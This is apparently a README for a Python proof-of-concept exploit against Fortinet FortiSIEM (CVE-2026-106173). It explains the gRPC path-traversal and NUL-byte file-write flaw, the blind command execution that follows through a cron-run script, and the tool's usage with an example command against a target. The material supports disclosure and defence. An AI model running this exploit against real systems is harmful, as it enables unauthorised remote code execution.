horizon3ai/cve-2026-106173Python proof-of-concept exploit for CVE-2026-106173, an unauthenticated gRPC path traversal file write in Fortinet FortiSIEM that enables blind remote command execution.
This repository contains a proof of concept for CVE-2026-106173, an unauthenticated remote code execution vulnerability in Fortinet FortiSIEM.
The FortiSIEM gRPC QueryResultReq handler processes untrusted metadata without proper path validation. By crafting metadata containing both path traversal sequences (../) and NUL-byte injection within gRPC's HTTP/2 and HPACK encoding layers, an attacker can write arbitrary files to the filesystem.
Technical analysis covering root cause, exploitation details, and indicators of compromise is available on the Horizon3.ai attack research blog:
% python3 CVE-2026-106173.py -h
usage: CVE-2026-106173.py [-h] -t TARGET [-c COMMAND] [-p PORT] [--plaintext]
[--dry-run]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
IP or hostname of the FortiSIEM instance
-c COMMAND, --command COMMAND
Command to execute on the target
-p PORT, --port PORT FortiSIEM gRPC port (default: 27918)
--plaintext Use HTTP/2 without TLS
--dry-run Display the request without sending
Execute an arbitrary command:
python3 CVE-2026-106173.py -t 10.0.18.x -c 'id'
NOTE: Execution is blind, and takes up to 60 seconds for the cron job to trigger executing the script we overwrote.
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized." Project maintainers assume no liability for misuse. Use responsibly.